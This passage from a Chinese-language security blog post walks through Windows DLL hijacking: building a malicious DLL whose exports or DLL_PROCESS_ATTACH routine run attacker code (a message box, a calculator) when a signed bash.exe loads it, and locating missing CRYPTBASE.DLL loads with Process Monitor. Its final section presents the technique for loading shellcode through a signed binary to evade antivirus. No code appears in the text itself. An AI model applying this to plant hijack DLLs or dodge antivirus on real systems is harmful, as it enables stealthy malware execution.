<p>前面通过 <code>.def</code> 文件将多个导出符号统一指向自定义函数 <strong>all_exec</strong>，当白文件在加载并调用任一导出接口时，最终都会进入 <code>all_exec</code> 执行逻辑。</p>
<h3 id="4-生成-dll">4. 生成 DLL</h3>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/15-build-dll-1.jpg" alt="" referrerpolicy="no-referrer"></p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/16-build-dll-2.jpg" alt="" referrerpolicy="no-referrer"></p>
<h3 id="5-运行测试">5. 运行测试</h3>
<p>将 <code>bash.exe</code> 白文件和生成的恶意 dll 放入任意同一目录下，双击执行 <code>bash.exe</code>，如下劫持成功，执行了我们的 <code>MessageBoxA</code> 函数。</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/17-hijack-success.jpg" alt="" referrerpolicy="no-referrer"></p>
<h3 id="6-显式动态加载-dll-制作">6. 显式动态加载 DLL 制作</h3>
<p>ZeroEye 的原理是通过对可执行文件的 <strong>DLL 加载行为、Import Table、运行时文件访问及异常加载路径</strong> 进行自动化分析，定位存在 DLL 劫持、隐式加载的白文件候选目标。</p>
<p>动态加载 DLL 的白文件需要人工发现。同样以 <code>bash.exe</code> 为例，在对 <code>bash.exe</code> 进行动态分析时，通过 <strong>Process Monitor</strong> 观察到其在运行过程中尝试动态加载某个 DLL，但对应文件访问结果为 <strong>NAME NOT FOUND</strong>。同时，未在其 IAT 发现该 DLL。这表明该白文件在执行路径中存在<strong>显式的动态 DLL 加载逻辑</strong>，只是当前系统环境中未找到目标 DLL 文件。一旦在其 DLL 搜索路径中放置符合名称与导出要求的 DLL，即可能被成功加载并执行，从而构成潜在的白加黑利用条件。</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/18-procmon-explicit.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>新建 DLL 项目，在 <code>DLL_PROCESS_ATTACH</code> 下写一个弹计算器的命令，然后生成 DLL 名为 <code>CRYPTBASE.DLL</code>（<code>DLL_PROCESS_ATTACH</code> 表示 <strong>DLL 被某个进程成功加载并映射到其地址空间的时刻</strong>，<strong>无需宿主程序显式调用任何导出函数</strong>，只要 DLL 被加载，相关代码就会自动执行）。</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/19-cryptbase-dll.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>将白文件和 DLL 依赖放入同一目录下执行：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/20-explicit-hijack-run.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>需要注意：目录下必须放 <code>msys-2.0.dll</code>，原始 dll 就行，因为它是隐式动态加载，没有它程序无法运行：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/21-msys-required.jpg" alt="" referrerpolicy="no-referrer"></p>
<h2 id="七实战手法">七、实战手法</h2>
<p>上面已经验证了 DLL 劫持的可行性。实际在实战过程中，可以将 shellcode 通过 dll 函数进行加载，从而实现免杀效果——白文件有签名，执行不会被拦截，静态免杀一般没问题；一些内存特征明显的载荷，可能会被卡巴、Avast 等内存查杀。</p>]]></description></item></channel></rss>